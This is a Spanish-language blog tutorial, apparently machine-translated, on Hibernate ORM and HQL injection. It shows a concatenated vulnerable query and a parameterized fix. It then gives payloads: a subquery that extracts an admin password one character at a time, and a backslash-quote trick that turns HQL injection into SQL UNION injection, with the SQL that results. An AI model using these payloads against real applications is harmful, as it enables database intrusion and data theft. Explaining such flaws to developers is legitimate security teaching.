Hibernate Query

Hibernate es el marco más popular para trabajar con bases de datos en Java. Implementa su propio lenguaje de consulta (HQL), pero hay un vacío que le permite ir más allá y realizar una inyección de SQL regular.

En un sentido general, el mapeo relacional de objetos (ORM) es el enlace (mapeo) de un modelo de datos orientado a objetos con bases de datos relacionales tradicionales. Esta definición suena intrincada, así que intentaré explicarlo con mis dedos.

Tenemos un lenguaje orientado a objetos como Java: todo está construido sobre clases y objetos. Los objetos tienen estados, es un conjunto de valores de sus campos.

Por otro lado, tenemos DBMS relacionales ordinarios como MySQL, donde los datos se almacenan como registros en tablas y algunas tablas están relacionadas. A menudo hay una tarea para guardar el estado de algún objeto en la base de datos. Se resuelve de manera simple: es suficiente desarmar el objeto en los elementos más simples (cadenas, números, valores booleanos …) y meterlo en la tabla. Los datos son restaurados por la operación inversa.

Pero si los objetos almacenados son más complicados (por ejemplo, hay referencias a otros objetos o matrices multidimensionales en el interior), entonces rellenar todas las etiquetas necesarias y con los tipos de datos necesarios es un trabajo serio, incluso para la mayor parte de la rutina.

Para ahorrar tiempo y esfuerzo, se inventan los marcos ORM. Añaden una cierta capa, y nos queda trabajar dentro de la POO: creamos, cambiamos y eliminamos objetos y podemos estar seguros de que la base de datos reflejará su estado.

Hibernate es un framework ORM para Java, y es increíblemente popular. Al mismo tiempo, Hibernate es algo incómodo y difícil de entender (sin embargo, los programadores de Java no son extraños). Para nosotros, es interesante que exista un enfoque típico de la piratería. Pero para entenderlo, tendré que contarles brevemente cómo funciona Hibernate.

El primer paso es crear entidades que se almacenarán en la base de datos. Estas son las llamadas clases persistentes. A continuación, debe asociar estas clases con las tablas en la base de datos y definir sus relaciones («una a muchas», «muchas a muchas»). Se ve algo como esto (cuando usas un archivo XML, también puedes usar anotaciones).

Mapeando la clase más simple
Mapeando la clase más simple

Como vemos, indicamos la conexión de una clase (Producto bueno) con una tabla determinada (Productos). Y luego, los nombres de los campos de la clase con las columnas de la tabla del mismo nombre, que indican los tipos (ID del producto, nombre y precio).

Después de eso, debe editar el archivo hibernate.cfg.xml, que almacena la información de conexión. Otra ventaja de Hibernate es que cambiará las consultas SQL según el DBMS que se use (y para nosotros este es uno de los lugares donde puede haber créditos del DBMS): el código de la aplicación sigue siendo el mismo.

A continuación, podemos guardar, actualizar o buscar objetos con los comandos más simples:

session.save(good);
session.update(good);
Good existedGood = (Good) session.get(good.getClass(), good.getId())
session.delete(existedGood);

¿Dónde sessionestá el objeto de sesión para trabajar con Hibernate?

Pero estas son las acciones más simples. Para algo más complicado, es posible usar el lenguaje de consulta Hibernate (o puede usar SQL nativo). HQL es algo similar a SQL, y la consulta se ve algo como esto.

FROM Good WHERE name LIKE 'any_string'

Aquí estamos buscando un objeto que tiene una cadena en su nombre any_string. Tenga en cuenta que aquí estamos trabajando con entidades que no son de bases de datos (tablas, columnas), sino de clases (el nombre de la clase es Bueno y no como la tabla es Productos).

Las solicitudes en HQL pueden ser más difíciles, pero aún así no van más allá de las operaciones típicas (selección, actualización, eliminación y similares). Es decir, no hay posibilidad de llamar a ningún procedimiento o función del DBMS.

Es importante enfatizar una vez más que al usar Hibernate, trabajamos con objetos y clases, y el propio marco analiza la asignación y envía consultas SQL a la base de datos para seleccionar o cambiar datos.

Al igual que con SQL, hay dos enfoques para trabajar con consultas HQL. La primera es las solicitudes habituales, cuando la solicitud y los datos del usuario se mezclan.

Query query = session.createQuery("FROM Good WHERE name = '"+ user_input +"' ");

El segundo son las solicitudes parametrizadas, en las que los datos no se mezclan con los comandos, ya que se transmiten por separado.

Query query = session.createQuery("FROM Good WHERE name = :user_input ");
query.setParameter("user_input ", " user_input");

Y aunque la segunda opción es tan común (en el caso de SQL y HQL) que incluso crea la falsa impresión de que no puede haber inyecciones de SQL en las aplicaciones Java, la primera opción ocurre.

¿Qué podemos hacer si logramos insertar nuestros datos en la consulta? Primero, por analogía con SQL, podemos rastrear de acuerdo con otros objetos. Aquí puedes encontrar ejemplos, aquí está uno de ellos.

from Book
where title like '%'
  and (select substring(password,1,1) from User where username='admin') = 'a'

Se supone que hay clases de persistencia Libro y Usuario. Podemos insertar nuestra línea en like. Como está prohibido en HQL union select, puede extruir datos por subconsultas. Es decir, podemos rastrear todas las clases de persistencia de los objetos de datos.

También hay una herramienta que ayudará con esto – HQLmap . Le permite automatizar el proceso de promoción de tales HQL.

Pero todo esto son juegos de niños. La más delicada fue una presentación de la compañía SynAcktiv en una conferencia. Los investigadores encontraron la oportunidad de salir de HQL en SQL y obtener una inyección SQL completa, con la que ya está claro qué hacer.

Para descubrir cómo sucede esto, necesita saber cómo funciona la conversión de HQL a SQL. Supongamos que tenemos una petición.

from Contact WHERE lastname LIKE '%Doe%'

Se traduce en el siguiente código SQL.

SELECT contact0_.id as id1_0_,
contact0_.title as title2_0_,
contact0_.firstname as firstnam3_0_,
contact0_.lastname as lastname4_0_,
contact0_.address as address5_0_,
contact0_.phone as phone6_0_
FROM app1.contact contact0_
WHERE contact0_.lastname like '%Doe%'

Aquí todo es claro y lógico. Pero entre SQL y HQL hay una diferencia en las sutilezas de la sintaxis. En HQL, una barra ( \) no es un carácter especial para escapar de otros caracteres en SQL. En su lugar, HQL usa otra cita única para escapar de las comillas. Al combinar el conocimiento de estos hechos, puede realizar una consulta de este tipo, que será una consulta HQL válida, pero después de la conversión a SQL, quedará fuera de la consulta SQL recibida.

Doe\'' UNION SELECT 1,version(),3,4,5,6 #

Como puede ver, agregamos una barra y dos comillas simples. Pero para HQL comillas marca otra comilla. Resulta que no caemos de la expresión HQL. Por lo tanto, tenemos una consulta HQL válida.

from Contact
WHERE lastname LIKE '%Doe\'' UNION SELECT 1,version(),3,4,5,6 #%'

Después de convertir a SQL, la barra diagonal escapa a la primera de dos comillas simples, y nos salimos de la expresión SQL sin generar errores por el analizador (puede que no le gusten las comillas consecutivas). Nosotros, por supuesto, cortamos la cola con un comentario ( #).

Así es como se verá la consulta SQL.

SELECT contact0_.id as id1_0_,
contact0_.title as title2_0_,
contact0_.firstname as firstnam3_0_,
contact0_.lastname as lastname4_0_,
contact0_.address as address5_0_,
contact0_.phone as phone6_0_
FROM app1.contact contact0_
WHERE contact0_.lastname LIKE '%Doe\'' UNION SELECT 1,version(),3,4,5,6 #%'

La magia funcionó, convertimos la inyección HQL en SQL clásico.

¡Gracias por su atención y exitoso conocimiento de lo nuevo!

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.

A %d blogueros les gusta esto: